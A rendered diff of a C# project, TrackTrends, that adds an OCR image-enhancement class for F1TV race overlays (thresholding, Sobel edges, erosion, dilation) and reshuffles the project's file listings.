-                    int threshold = dilatedPixel.R;
-
-                    if (gray > threshold)
-                    {
-                        outputBitmap.SetPixel(x, y, Color.FromArgb(255, 255, 255));
-                    }
-                    else if (gray <= threshold && erodedPixel.R == 0)
-                    {
-                        outputBitmap.SetPixel(x, y, Color.FromArgb(255, 0, 0));
-                    }
-                    else
-                    {
-                        outputBitmap.SetPixel(x, y, Color.FromArgb(0, 0, 0));
-                    }
-                }
-            }
-
-            return outputBitmap;
-        }
-        /// <summary>
-        /// Method that that erodes the morphology of a bitmap
-        /// </summary>
-        /// <param name="inputBitmap">The bitmap you want to erode</param>
-        /// <param name="kernelSize">The amount of Erosion you want (be carefull its expensive on ressources)</param>
-        /// <returns>The Bitmap with the eroded contents</returns>
-        public static Bitmap Erode(Bitmap inputBitmap, int kernelSize)
-        {
-            Bitmap outputBitmap = new Bitmap(inputBitmap.Width, inputBitmap.Height);
-
-            int[,] kernel = new int[kernelSize, kernelSize];
-
-            for (int i = 0; i < kernelSize; i++)
-            {
-                for (int j = 0; j < kernelSize; j++)
-                {
-                    kernel[i, j] = 1;
-                }
-            }
-
-            for (int y = kernelSize / 2; y < inputBitmap.Height - kernelSize / 2; y++)
-            {
-                for (int x = kernelSize / 2; x < inputBitmap.Width - kernelSize / 2; x++)
-                {
-                    bool flag = true;
-
-                    for (int i = -kernelSize / 2; i <= kernelSize / 2; i++)
-                    {
-                        for (int j = -kernelSize / 2; j <= kernelSize / 2; j++)
-                        {
-                            Color pixel = inputBitmap.GetPixel(x + i, y + j);
-                            int gray = (int)(pixel.R * 0.3 + pixel.G * 0.59 + pixel.B * 0.11);
-
-                            if (gray >= 128 && kernel[i + kernelSize / 2, j + kernelSize / 2] == 1)
-                            {
-                                flag = false;
-                                break;
-                            }
-                        }
-
-                        if (!flag)
-                        {
-                            break;
-                        }
-                    }
-
-                    if (flag)
-                    {
-                        outputBitmap.SetPixel(x, y, Color.FromArgb(255, 255, 255));
-                    }
-                    else
-                    {
-                        outputBitmap.SetPixel(x, y, Color.FromArgb(0, 0, 0));
-                    }
-                }
-            }
-
-            return outputBitmap;
-        }
-        /// <summary>
-        /// Method that that use dilatation of the morphology of a bitmap
-        /// </summary>
-        /// <param name="inputBitmap">The bitmap you want to use dilatation on</param>
-        /// <param name="kernelSize">The amount of dilatation you want (be carefull its expensive on ressources)</param>
-        /// <returns>The Bitmap after Dilatation</returns>
-        public static Bitmap Dilatation(Bitmap inputBitmap, int kernelSize)
-        {
-            Bitmap outputBitmap = new Bitmap(inputBitmap.Width, inputBitmap.Height);
-
-            int[,] kernel = new int[kernelSize, kernelSize];
-
-            for (int i = 0; i < kernelSize; i++)
-            {
-                for (int j = 0; j < kernelSize; j++)
-                {
-                    kernel[i, j] = 1;
-                }
-            }
-
-            for (int y = kernelSize / 2; y < inputBitmap.Height - kernelSize / 2; y++)
-            {
-                for (int x = kernelSize / 2; x < inputBitmap.Width - kernelSize / 2; x++)
-                {
-                    bool flag = false;
-
-                    for (int i = -kernelSize / 2; i <= kernelSize / 2; i++)
-                    {
-                        for (int j = -kernelSize / 2; j <= kernelSize / 2; j++)
-                        {
-                            Color pixel = inputBitmap.GetPixel(x + i, y + j);
-                            int gray = (int)(pixel.R * 0.3 + pixel.G * 0.59 + pixel.B * 0.11);
-
-                            if (gray < 128 && kernel[i + kernelSize / 2, j + kernelSize / 2] == 1)
-                            {
-                                flag = true;
-                                break;
-                            }
-                        }
-
-                        if (flag)
-                        {
-                            break;
-                        }
-                    }
-
-                    if (flag)
-                    {
-                        outputBitmap.SetPixel(x, y, Color.FromArgb(0, 0, 0));
-                    }
-                    else
-                    {
-                        outputBitmap.SetPixel(x, y, Color.FromArgb(255, 255, 255));
-                    }
-                }
-            }
-
-            return outputBitmap;
-        }
-    }
-}
-
-
    +
    /// Author : Maxime Rohmer
+/// Date : 30/05/2023
+/// File : OcrImage.cs
+/// Brief : Class containing all the methods used to enhance images for OCR
+/// Version : Alpha 1.0
+
+using System;
+using System.Collections.Generic;
+using System.Threading.Tasks;
+using System.Drawing;
+using System.Drawing.Drawing2D;
+using System.Drawing.Imaging;
+
+namespace TrackTrends
+{
+    public class OcrImage
+    {
+        //this is a hardcoded value based on the colors of the F1TV data channel background you can change it if sometime in the future the color changes
+        //Any color that has any of its R,G or B channel higher than the treshold will be considered as being usefull information
+        public static Color F1TV_BACKGROUND_TRESHOLD = Color.FromArgb(0x50, 0x50, 0x50);
+        Bitmap InputBitmap;
+        public enum WindowType
+        {
+            LapTime,
+            Text,
+            Sector,
+            Gap,
+            Tyre,
+        }
+
+        /// <summary>
+        /// Create a new Ocr image to help enhance the given bitmap for OCR
+        /// </summary>
+        /// <param name="inputBitmap">The image you want to enhance</param>
+        public OcrImage(Bitmap inputBitmap)
+        {
+            InputBitmap = inputBitmap;
+        }
+        /// <summary>
+        /// Enhances the image depending on wich type of window the image comes from
+        /// </summary>
+        /// <param name="type">The type of the window. Depending on it different enhancing features will be applied</param>
+        /// <returns>The enhanced Bitmap</returns>
+        public Bitmap Enhance(WindowType type = WindowType.Text)
+        {
+            Bitmap outputBitmap = (Bitmap)InputBitmap.Clone();
+            //Note : If you plan to activate all the comments that I used to debug the OCR I would advise to make sure that the debug folder exists
+            switch (type)
+            {
+                case WindowType.Gap:
+                    //outputBitmap.Save(Window.GAPTOLEADER_DEBUG_FOLDER + @"\raw_" + id + ".png");
+
+                    outputBitmap = Tresholding(outputBitmap, 165);
+                    //outputBitmap.Save(Window.GAPTOLEADER_DEBUG_FOLDER + @"\treshold_" + id + ".png");
+
+                    outputBitmap = Resize(outputBitmap, 2);
+                    //outputBitmap.Save(Window.GAPTOLEADER_DEBUG_FOLDER + @"\resize_" + id + ".png");
+
+                    outputBitmap = Dilatation(outputBitmap, 1);
+                    //outputBitmap.Save(Window.GAPTOLEADER_DEBUG_FOLDER + @"\Final_dilatation_" + id + ".png");
+                    break;
+                case WindowType.Sector:
+                    //outputBitmap.Save(Window.SECTOR1_DEBUG_FOLDER + @"\raw_" + id + ".png");
+
+                    outputBitmap = VanishOxyAction(outputBitmap);
+                    //outputBitmap.Save(Window.SECTOR1_DEBUG_FOLDER + @"\vanish_" + id + ".png");
+
+                    outputBitmap = Tresholding(outputBitmap, 150);
+                    //outputBitmap.Save(Window.SECTOR1_DEBUG_FOLDER + @"\Final_treshold_" + id + ".png");
+                    break;
+                case WindowType.LapTime:
+                    //outputBitmap.Save(Window.LAPTIME_DEBUG_FOLDER + @"\raw_" + id + ".png");
+
+                    outputBitmap = Tresholding(outputBitmap,185);
+                    //outputBitmap.Save(Window.LAPTIME_DEBUG_FOLDER + @"\Treshold_" + id + ".png");
+
+                    outputBitmap = SobelEdgeDetection(outputBitmap);
+                    //outputBitmap.Save(Window.LAPTIME_DEBUG_FOLDER + @"\SobelDetection_" + id + ".png");
+                    break;
+                case WindowType.Text:
+                    //outputBitmap.Save(Window.STRING_DEBUG_FOLDER + @"\raw_" + id + ".png");
+
+                    outputBitmap = Tresholding(outputBitmap, 165);
+                    //outputBitmap.Save(Window.STRING_DEBUG_FOLDER + @"\Final_treshold_" + id + ".png");
+                    break;
+                case WindowType.Tyre:
+                    //outputBitmap.Save(Window.TYRE_DEBUG_FOLDER + @"\raw_" + id + ".png");
+
+                    outputBitmap = RemoveUseless(outputBitmap);
+                    //outputBitmap.Save(Window.TYRE_DEBUG_FOLDER + @"\uselessRemoved_" + id + ".png");
+
+                    outputBitmap = Dilatation(outputBitmap, 1);
+                    //outputBitmap.Save(Window.TYRE_DEBUG_FOLDER + @"\Final_dilatation_" + id + ".png");
+                    break;
+                default:
+                    outputBitmap = Tresholding(outputBitmap, 165);
+                    outputBitmap = Resize(outputBitmap, 2);
+                    outputBitmap = Erode(outputBitmap, 1);
+                    break;
+            }
+            return outputBitmap;
+        }
+        /// <summary>
+        /// Method that convert a colored RGB bitmap into a GrayScale image 
+        /// </summary>
+        /// <param name="inputBitmap">The Bitmap you want to convert</param>
+        /// <returns>The bitmap in grayscale</returns>
+        public static Bitmap Grayscale(Bitmap inputBitmap)
+        {
+            Rectangle rect = new Rectangle(0, 0, inputBitmap.Width, inputBitmap.Height);
+            BitmapData bmpData = inputBitmap.LockBits(rect, ImageLockMode.ReadWrite, inputBitmap.PixelFormat);
+            int bytesPerPixel = Bitmap.GetPixelFormatSize(inputBitmap.PixelFormat) / 8;
+
+            unsafe
+            {
+                byte* ptr = (byte*)bmpData.Scan0.ToPointer();
+                for (int y = 0; y < inputBitmap.Height; y++)
+                {
+                    byte* currentLine = ptr + (y * bmpData.Stride);
+                    for (int x = 0; x < inputBitmap.Width; x++)
+                    {
+                        byte* pixel = currentLine + (x * bytesPerPixel);
+
+                        byte blue = pixel[0];
+                        byte green = pixel[1];
+                        byte red = pixel[2];
+
+                        //Those a specific values to correct the weights so its more pleasing to the human eye
+                        int gray = (int)(red * 0.3 + green * 0.59 + blue * 0.11);
+
+                        //This is not a proper treshold method but it is helping the sobel edge detection
+                        if(gray <= F1TV_BACKGROUND_TRESHOLD.R)
+                        {
+                            pixel[0] = pixel[1] = pixel[2] = 0;
+                        }
+                        else
+                        {
+                            pixel[0] = pixel[1] = pixel[2] = (byte)gray;
+                        }
+                    }
+                }
+            }
+            inputBitmap.UnlockBits(bmpData);
+
+            return inputBitmap;
+        }
+        /// <summary>
+        /// Method that uses the Sobel Edge detection to outline the edges of the characters to help with the OCR
+        /// </summary>
+        /// <param name="grayscaleImage">The image with the sobel edge detection used</param>
+        /// <returns></returns>
+        private Bitmap SobelEdgeDetection(Bitmap grayscaleImage)
+        {
+            // Create a new bitmap for the edges
+            Bitmap edgesImage = new Bitmap(grayscaleImage.Width, grayscaleImage.Height);
+
+            // Define the Sobel operators
+            // Its just a matrix that we will use on the all image
+            int[,] sobelX = { { -1, 0, 1 }, { -2, 0, 2 }, { -1, 0, 1 } };
+            int[,] sobelY = { { -1, -2, -1 }, { 0, 0, 0 }, { 1, 2, 1 } };
+
+            // Apply the Sobel operators and normalize the gradients
+            // NOTE: I dont know how easy or hard it would be to make this paralel but it could be a good idea to do so if possible.
+            for (int y = 1; y < grayscaleImage.Height - 1; y++)
+            {
+                for (int x = 1; x < grayscaleImage.Width - 1; x++)
+                {
+                    int gradientX = CalculateGradient(grayscaleImage, sobelX, x, y);
+                    int gradientY = CalculateGradient(grayscaleImage, sobelY, x, y);
+                    int gradient = (int)Math.Sqrt(gradientX * gradientX + gradientY * gradientY);
+
+                    // Normalize the gradient value
+                    // In some rare cases the value can exceed 255 so we limit it with the Math.Min method
+                    gradient = Math.Min(255, Math.Max(0, gradient));
+
+                    edgesImage.SetPixel(x, y, Color.FromArgb(gradient, gradient, gradient));
+                }
+            }
+
+            return edgesImage;
+        }
+        /// <summary>
+        /// Method that's here to be used by the sobel edge detection method (Chat GPT has been used for parts of this method)
+        /// </summary>
+        /// <param name="grayscaleImage">The input image with the grayscale processing already done</param>
+        /// <param name="sobelOperator">The matrix to apply</param>
+        /// <param name="x"></param>
+        /// <param name="y"></param>
+        /// <returns>Returns the processed gradient</returns>
+        private int CalculateGradient(Bitmap grayscaleImage, int[,] sobelOperator, int x, int y)
+        {
+            int gradient = 0;
+
+            for (int j = -1; j <= 1; j++)
+            {
+                for (int i = -1; i <= 1; i++)
+                {
+                    int pixelX = grayscaleImage.GetPixel(x + i, y + j).R;
+                    gradient += sobelOperator[j + 1, i + 1] * pixelX;
+                }
+            }
+
+            return gradient;
+        }
+        /// <summary>
+        /// Method that is used to whiten an image. Ignore the funny name. Its used to prevent colored text to trouble the OCR when it uses grayscaling
+        /// </summary>
+        /// <param name="inputBitmap">The bitmap to vanish</param>
+        /// <returns></returns>
+        public static Bitmap VanishOxyAction(Bitmap inputBitmap)
+        {
+            Rectangle rect = new Rectangle(0, 0, inputBitmap.Width, inputBitmap.Height);
+            BitmapData bmpData = inputBitmap.LockBits(rect, ImageLockMode.ReadWrite, inputBitmap.PixelFormat);
+            int bytesPerPixel = Bitmap.GetPixelFormatSize(inputBitmap.PixelFormat) / 8;
+
+            unsafe
+            {
+                //Note : MAKE THIS PARALELL OMG WY DID I LEFT IT LIKE THAT
+                byte* ptr = (byte*)bmpData.Scan0.ToPointer();
+                for (int y = 0; y < inputBitmap.Height; y++)
+                {
+                    byte* currentLine = ptr + (y * bmpData.Stride);
+                    for (int x = 0; x < inputBitmap.Width; x++)
+                    {
+                        byte* pixel = currentLine + (x * bytesPerPixel);
+
+                        int blue = (int)pixel[0];
+                        int green = (int)pixel[1];
+                        int red = (int)pixel[2];
+
+                        int max = Math.Max(Math.Max(blue, green), red);
+
+                        if (max > 255 / 3)
+                            max = 255;
+
+                        pixel[0] = pixel[1] = pixel[2] = (byte)max;
+                    }
+                }
+            }
+            inputBitmap.UnlockBits(bmpData);
+
+            return inputBitmap;
+        }
+        /// <summary>
+        /// Method that binaries the input image up to a certain treshold given
+        /// </summary>
+        /// <param name="inputBitmap">the bitmap you want to convert to binary colors</param>
+        /// <param name="threshold">The floor at wich the color is considered as white or black</param>
+        /// <returns>The binarised bitmap</returns>
+        public static Bitmap Tresholding(Bitmap inputBitmap, int threshold)
+        {
+            Rectangle rect = new Rectangle(0, 0, inputBitmap.Width, inputBitmap.Height);
+            BitmapData bmpData = inputBitmap.LockBits(rect, ImageLockMode.ReadWrite, inputBitmap.PixelFormat);
+            int bytesPerPixel = Bitmap.GetPixelFormatSize(inputBitmap.PixelFormat) / 8;
+
+            unsafe
+            {
+                byte* ptr = (byte*)bmpData.Scan0.ToPointer();
+                int bmpHeight = inputBitmap.Height;
+                int bmpWidth = inputBitmap.Width;
+                Parallel.For(0, bmpHeight, y =>
+                {
+                    byte* currentLine = ptr + (y * bmpData.Stride);
+                    for (int x = 0; x < bmpWidth; x++)
+                    {
+                        byte* pixel = currentLine + (x * bytesPerPixel);
+
+                        byte blue = pixel[0];
+                        byte green = pixel[1];
+                        byte red = pixel[2];
+                        //Those a specific values to correct the weights so its more pleasing to the human eye
+                        int gray = (int)(red * 0.3 + green * 0.59 + blue * 0.11);
+                        int value = gray < threshold ? 0 : 255;
+
+                        pixel[0] = pixel[1] = pixel[2] = (byte)value;
+                    }
+                });
+            }
+            inputBitmap.UnlockBits(bmpData);
+
+            return inputBitmap;
+        }
+        /// <summary>
+        /// Method that removes the pixels that are flagged as background
+        /// </summary>
+        /// <param name="inputBitmap">The bitmap you want to remove the background from</param>
+        /// <returns>The Bitmap without the background</returns>
+        public static Bitmap RemoveBG(Bitmap inputBitmap)
+        {
+            Rectangle rect = new Rectangle(0, 0, inputBitmap.Width, inputBitmap.Height);
+            BitmapData bmpData = inputBitmap.LockBits(rect, ImageLockMode.ReadWrite, inputBitmap.PixelFormat);
+            int bytesPerPixel = Bitmap.GetPixelFormatSize(inputBitmap.PixelFormat) / 8;
+
+            unsafe
+            {
+                byte* ptr = (byte*)bmpData.Scan0.ToPointer();
+                for (int y = 0; y < inputBitmap.Height; y++)
+                {
+                    byte* currentLine = ptr + (y * bmpData.Stride);
+                    for (int x = 0; x < inputBitmap.Width; x++)
+                    {
+                        byte* pixel = currentLine + (x * bytesPerPixel);
+
+                        int B = pixel[0];
+                        int G = pixel[1];
+                        int R = pixel[2];
+
+                        if (R <= F1TV_BACKGROUND_TRESHOLD.R && G <= F1TV_BACKGROUND_TRESHOLD.G && B <= F1TV_BACKGROUND_TRESHOLD.B)
+                            pixel[0] = pixel[1] = pixel[2] = 0;
+                    }
+                }
+            }
+            inputBitmap.UnlockBits(bmpData);
+
+            return inputBitmap;
+        }
+        /// <summary>
+        /// Method that removes all the useless things from the image and returns hopefully only the numbers
+        /// </summary>
+        /// <param name="inputBitmap">The bitmap you want to remove useless things from (Expects a cropped part of the TyreWindow)</param>
+        /// <returns>The bitmap with (hopefully) only the digits</returns>
+        public unsafe static Bitmap RemoveUseless(Bitmap inputBitmap)
+        {
+            //Note you can use something else than a cropped tyre window but I would recommend checking the code first to see if it fits your intended use
+            Rectangle rect = new Rectangle(0, 0, inputBitmap.Width, inputBitmap.Height);
+            BitmapData bmpData = inputBitmap.LockBits(rect, ImageLockMode.ReadWrite, inputBitmap.PixelFormat);
+            int bytesPerPixel = Bitmap.GetPixelFormatSize(inputBitmap.PixelFormat) / 8;
+
+            byte* ptr = (byte*)bmpData.Scan0.ToPointer();
+            for (int y = 0; y < inputBitmap.Height; y++)
+            {
+                byte* currentLine = ptr + (y * bmpData.Stride);
+
+                List<int> pixelsToRemove = new List<int>();
+
+                bool fromBorder = true;
+
+                for (int x = 0; x < inputBitmap.Width; x++)
+                {
+                    byte* pixel = currentLine + (x * bytesPerPixel);
+
+                    int B = pixel[0];
+                    int G = pixel[1];
+                    int R = pixel[2];
+
+                    if (fromBorder && B < F1TV_BACKGROUND_TRESHOLD.B && G < F1TV_BACKGROUND_TRESHOLD.G && R < F1TV_BACKGROUND_TRESHOLD.R)
+                    {
+                        pixelsToRemove.Add(x);
+                    }
+                    else
+                    {
+                        if (fromBorder)
+                        {
+                            fromBorder = false;
+                            pixelsToRemove.Add(x);
+                        }
+                    }
+                }
+                fromBorder = true;
+                for (int x = inputBitmap.Width - 1; x > 0; x--)
+                {
+                    byte* pixel = currentLine + (x * bytesPerPixel);
+
+                    int B = pixel[0];
+                    int G = pixel[1];
+                    int R = pixel[2];
+
+                    if (fromBorder && B < F1TV_BACKGROUND_TRESHOLD.B && G < F1TV_BACKGROUND_TRESHOLD.G && R < F1TV_BACKGROUND_TRESHOLD.R)
+                    {
+                        pixelsToRemove.Add(x);
+                    }
+                    else
+                    {
+                        if (fromBorder)
+                        {
+                            fromBorder = false;
+                            pixelsToRemove.Add(x);
+                        }
+                    }
+                }
+
+                foreach (int pxPos in pixelsToRemove)
+                {
+                    byte* pixel = currentLine + (pxPos * bytesPerPixel);
+
+                    pixel[0] = 0xFF;
+                    pixel[1] = 0xFF;
+                    pixel[2] = 0xFF;
+                }
+            }
+
+            //Removing the color parts
+            for (int y = 0; y < inputBitmap.Height; y++)
+            {
+                byte* currentLine = ptr + (y * bmpData.Stride);
+                for (int x = 0; x < inputBitmap.Width; x++)
+                {
+                    byte* pixel = currentLine + (x * bytesPerPixel);
+
+                    int B = pixel[0];
+                    int G = pixel[1];
+                    int R = pixel[2];
+
+                    if (R >= F1TV_BACKGROUND_TRESHOLD.R  +25|| G >= F1TV_BACKGROUND_TRESHOLD.G +25|| B >= F1TV_BACKGROUND_TRESHOLD.B +25)
+                    {
+                        pixel[0] = 0xFF;
+                        pixel[1] = 0xFF;
+                        pixel[2] = 0xFF;
+                    }
+                }
+            }
+
+            inputBitmap.UnlockBits(bmpData);
+            return inputBitmap;
+        }
+        /// <summary>
+        /// Recovers the average colors from the Image. NOTE : It wont take in account colors that are lower than the background
+        /// </summary>
+        /// <param name="inputBitmap">The bitmap you want to get the average color from</param>
+        /// <returns>The average color of the bitmap</returns>
+        public static Color GetAvgColorFromBitmap(Bitmap inputBitmap)
+        {
+            Rectangle rect = new Rectangle(0, 0, inputBitmap.Width, inputBitmap.Height);
+            BitmapData bmpData = inputBitmap.LockBits(rect, ImageLockMode.ReadWrite, inputBitmap.PixelFormat);
+            int bytesPerPixel = Bitmap.GetPixelFormatSize(inputBitmap.PixelFormat) / 8;
+
+            int totR = 0;
+            int totG = 0;
+            int totB = 0;
+
+            int totPixels = 1;
+
+            unsafe
+            {
+                byte* ptr = (byte*)bmpData.Scan0.ToPointer();
+                int bmpHeight = inputBitmap.Height;
+                int bmpWidth = inputBitmap.Width;
+                Parallel.For(0, bmpHeight, y =>
+                {
+                    byte* currentLine = ptr + (y * bmpData.Stride);
+                    for (int x = 0; x < bmpWidth; x++)
+                    {
+                        byte* pixel = currentLine + (x * bytesPerPixel);
+
+                        int B = pixel[0];
+                        int G = pixel[1];
+                        int R = pixel[2];
+
+                        if (R >= F1TV_BACKGROUND_TRESHOLD.R || G >= F1TV_BACKGROUND_TRESHOLD.G || B >= F1TV_BACKGROUND_TRESHOLD.B)
+                        {
+                            totPixels++;
+                            totB += pixel[0];
+                            totG += pixel[1];
+                            totR += pixel[2];
+                        }
+                    }
+                });
+            }
+            inputBitmap.UnlockBits(bmpData);
+
+            return Color.FromArgb(255,Math.Min(Convert.ToInt32((float)totR / (float)totPixels),255), Math.Min(Convert.ToInt32((float)totG / (float)totPixels),255), Math.Min(Convert.ToInt32((float)totB / (float)totPixels),255));
+        }
+        /// <summary>
+        /// This method simply inverts all the colors in a Bitmap
+        /// </summary>
+        /// <param name="inputBitmap">the bitmap you want to invert the colors from</param>
+        /// <returns>The bitmap with inverted colors</returns>
+        public static Bitmap InvertColors(Bitmap inputBitmap)
+        {
+            Rectangle rect = new Rectangle(0, 0, inputBitmap.Width, inputBitmap.Height);
+            BitmapData bmpData = inputBitmap.LockBits(rect, ImageLockMode.ReadWrite, inputBitmap.PixelFormat);
+            int bytesPerPixel = Bitmap.GetPixelFormatSize(inputBitmap.PixelFormat) / 8;
+
+            unsafe
+            {
+                byte* ptr = (byte*)bmpData.Scan0.ToPointer();
+                for (int y = 0; y < inputBitmap.Height; y++)
+                {
+                    byte* currentLine = ptr + (y * bmpData.Stride);
+                    for (int x = 0; x < inputBitmap.Width; x++)
+                    {
+                        byte* pixel = currentLine + (x * bytesPerPixel);
+
+                        pixel[0] = (byte)(255 - pixel[0]);
+                        pixel[1] = (byte)(255 - pixel[1]);
+                        pixel[2] = (byte)(255 - pixel[2]);
+                    }
+                }
+            }
+            inputBitmap.UnlockBits(bmpData);
+
+            return inputBitmap;
+        }
+        /// <summary>
+        /// Methods that applies Bicubic interpolation to increase the size and resolution of an image
+        /// </summary>
+        /// <param name="inputBitmap">The bitmap you want to resize</param>
+        /// <param name="resizeFactor">The factor of resizing you want to use. I recommend using even numbers</param>
+        /// <returns>The bitmap witht the new size</returns>
+        public static Bitmap Resize(Bitmap inputBitmap, int resizeFactor)
+        {
+            var resultBitmap = new Bitmap(inputBitmap.Width * resizeFactor, inputBitmap.Height * resizeFactor);
+
+            using (var graphics = Graphics.FromImage(resultBitmap))
+            {
+                graphics.InterpolationMode = InterpolationMode.HighQualityBicubic;
+                graphics.DrawImage(inputBitmap, new Rectangle(0, 0, resultBitmap.Width, resultBitmap.Height));
+            }
+
+            return resultBitmap;
+        }
+        /// <summary>
+        /// method that Highlights the countours of a Bitmap
+        /// </summary>
+        /// <param name="inputBitmap">The bitmap you want to highlight the countours of</param>
+        /// <returns>The bitmap with countours highlighted</returns>
+        public static Bitmap HighlightContours(Bitmap inputBitmap)
+        {
+            Bitmap outputBitmap = new Bitmap(inputBitmap.Width, inputBitmap.Height);
+
+            Bitmap grayscale = Grayscale(inputBitmap);
+            Bitmap thresholded = Tresholding(grayscale, 128);
+            Bitmap dilated = Dilatation(thresholded, 3);
+            Bitmap eroded = Erode(dilated, 3);
+
+            for (int y = 0; y < inputBitmap.Height; y++)
+            {
+                for (int x = 0; x < inputBitmap.Width; x++)
+                {
+                    Color pixel = inputBitmap.GetPixel(x, y);
+                    Color dilatedPixel = dilated.GetPixel(x, y);
+                    Color erodedPixel = eroded.GetPixel(x, y);
+
+                    int gray = (int)(pixel.R * 0.3 + pixel.G * 0.59 + pixel.B * 0.11);
+                    int threshold = dilatedPixel.R;
+
+                    if (gray > threshold)
+                    {
+                        outputBitmap.SetPixel(x, y, Color.FromArgb(255, 255, 255));
+                    }
+                    else if (gray <= threshold && erodedPixel.R == 0)
+                    {
+                        outputBitmap.SetPixel(x, y, Color.FromArgb(255, 0, 0));
+                    }
+                    else
+                    {
+                        outputBitmap.SetPixel(x, y, Color.FromArgb(0, 0, 0));
+                    }
+                }
+            }
+
+            return outputBitmap;
+        }
+        /// <summary>
+        /// Method that that erodes the morphology of a bitmap
+        /// </summary>
+        /// <param name="inputBitmap">The bitmap you want to erode</param>
+        /// <param name="kernelSize">The amount of Erosion you want (be carefull its expensive on ressources)</param>
+        /// <returns>The Bitmap with the eroded contents</returns>
+        public static Bitmap Erode(Bitmap inputBitmap, int kernelSize)
+        {
+            Bitmap outputBitmap = new Bitmap(inputBitmap.Width, inputBitmap.Height);
+
+            int[,] kernel = new int[kernelSize, kernelSize];
+
+            for (int i = 0; i < kernelSize; i++)
+            {
+                for (int j = 0; j < kernelSize; j++)
+                {
+                    kernel[i, j] = 1;
+                }
+            }
+
+            for (int y = kernelSize / 2; y < inputBitmap.Height - kernelSize / 2; y++)
+            {
+                for (int x = kernelSize / 2; x < inputBitmap.Width - kernelSize / 2; x++)
+                {
+                    bool flag = true;
+
+                    for (int i = -kernelSize / 2; i <= kernelSize / 2; i++)
+                    {
+                        for (int j = -kernelSize / 2; j <= kernelSize / 2; j++)
+                        {
+                            Color pixel = inputBitmap.GetPixel(x + i, y + j);
+                            int gray = (int)(pixel.R * 0.3 + pixel.G * 0.59 + pixel.B * 0.11);
+
+                            if (gray >= 128 && kernel[i + kernelSize / 2, j + kernelSize / 2] == 1)
+                            {
+                                flag = false;
+                                break;
+                            }
+                        }
+
+                        if (!flag)
+                        {
+                            break;
+                        }
+                    }
+
+                    if (flag)
+                    {
+                        outputBitmap.SetPixel(x, y, Color.FromArgb(255, 255, 255));
+                    }
+                    else
+                    {
+                        outputBitmap.SetPixel(x, y, Color.FromArgb(0, 0, 0));
+                    }
+                }
+            }
+
+            return outputBitmap;
+        }
+        /// <summary>
+        /// Method that that use dilatation of the morphology of a bitmap
+        /// </summary>
+        /// <param name="inputBitmap">The bitmap you want to use dilatation on</param>
+        /// <param name="kernelSize">The amount of dilatation you want (be carefull its expensive on ressources)</param>
+        /// <returns>The Bitmap after Dilatation</returns>
+        public static Bitmap Dilatation(Bitmap inputBitmap, int kernelSize)
+        {
+            Bitmap outputBitmap = new Bitmap(inputBitmap.Width, inputBitmap.Height);
+
+            int[,] kernel = new int[kernelSize, kernelSize];
+
+            for (int i = 0; i < kernelSize; i++)
+            {
+                for (int j = 0; j < kernelSize; j++)
+                {
+                    kernel[i, j] = 1;
+                }
+            }
+
+            for (int y = kernelSize / 2; y < inputBitmap.Height - kernelSize / 2; y++)
+            {
+                for (int x = kernelSize / 2; x < inputBitmap.Width - kernelSize / 2; x++)
+                {
+                    bool flag = false;
+
+                    for (int i = -kernelSize / 2; i <= kernelSize / 2; i++)
+                    {
+                        for (int j = -kernelSize / 2; j <= kernelSize / 2; j++)
+                        {
+                            Color pixel = inputBitmap.GetPixel(x + i, y + j);
+                            int gray = (int)(pixel.R * 0.3 + pixel.G * 0.59 + pixel.B * 0.11);
+
+                            if (gray < 128 && kernel[i + kernelSize / 2, j + kernelSize / 2] == 1)
+                            {
+                                flag = true;
+                                break;
+                            }
+                        }
+
+                        if (flag)
+                        {
+                            break;
+                        }
+                    }
+
+                    if (flag)
+                    {
+                        outputBitmap.SetPixel(x, y, Color.FromArgb(0, 0, 0));
+                    }
+                    else
+                    {
+                        outputBitmap.SetPixel(x, y, Color.FromArgb(255, 255, 255));
+                    }
+                }
+            }
+
+            return outputBitmap;
+        }
+    }
+}
+
    @@ -799,13 +947,13 @@ namespace Test_Merge -
  • + + DriverData.cs + +
    • +
  • DriverGapToLeaderWindow.cs
  • - - DriverPositionWindow.cs + + DriverNameWindow.cs + +
    • +
  • + + DriverSectorWindow.cs
  • @@ -149,6 +159,11 @@ F1TVEmulator.cs
    • +
  • + + Form1.cs + +
  • @@ -156,33 +171,13 @@
  • - - Window.cs + + Settings.Designer.cs
  • - - DriverData.cs - -
    • -
  • - - DriverLapTimeWindow.cs - -
    • -
  • - - DriverSectorWindow.cs - -
    • -
  • - - Form1.cs - -
    • -
  • - - Reader.cs + + SqliteStorage.cs
  • @@ -191,13 +186,23 @@
  • + + DataWrapper.cs + +
    • +
  • DriverDrsWindow.cs
  • - - DriverNameWindow.cs + + DriverLapTimeWindow.cs + +
    • +
  • + + DriverPositionWindow.cs
  • @@ -211,11 +216,21 @@
  • + + Reader.cs + +
    • +
  • Settings.cs
  • + + Window.cs + +
    • +
  • recoverCookiesCSV.py @@ -239,37 +254,36 @@

    Program.cs

    -
    using System;
-using System.Collections.Generic;
-using System.Linq;
-using System.Threading.Tasks;
-using System.Windows.Forms;
-
-namespace Test_Merge
-{
-    internal static class Program
-    {
-        /// <summary>
-        /// The main entry point for the application.
-        /// </summary>
-        [STAThread]
-        static void Main()
-        {
-            Application.EnableVisualStyles();
-            Application.SetCompatibleTextRenderingDefault(false);
-            Application.Run(new Form1());
-        }
-    }
-}
-
-
    +
    using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Threading.Tasks;
+using System.Windows.Forms;
+
+namespace TrackTrends
+{
+    internal static class Program
+    {
+        /// <summary>
+        /// The main entry point for the application.
+        /// </summary>
+        [STAThread]
+        static void Main()
+        {
+            Application.EnableVisualStyles();
+            Application.SetCompatibleTextRenderingDefault(false);
+            Application.Run(new Main());
+        }
+    }
+}
+
  • - - DriverGapToLeaderWindow.cs - -
    • -
  • - - DriverPositionWindow.cs - -
    • -
  • - - F1TVEmulator.cs - -
    • -
  • - - Program.cs - -
    • -
  • - - Window.cs - -
    • -
  • DriverData.cs
  • - - DriverLapTimeWindow.cs + + DriverGapToLeaderWindow.cs + +
    • +
  • + + DriverNameWindow.cs
  • @@ -175,14 +155,28 @@
  • + + F1TVEmulator.cs + +
    • +
  • Form1.cs
    • -
  • - - - Reader.cs +
  • + + Program.cs + +
    • +
  • + + Settings.Designer.cs + +
    • +
  • + + SqliteStorage.cs
  • @@ -191,13 +185,23 @@
  • + + DataWrapper.cs + +
    • +
  • DriverDrsWindow.cs
  • - - DriverNameWindow.cs + + DriverLapTimeWindow.cs + +
    • +
  • + + DriverPositionWindow.cs
  • @@ -210,12 +214,23 @@ OcrImage.cs
    • +
  • + + + Reader.cs + +
  • Settings.cs
  • + + Window.cs + +
    • +
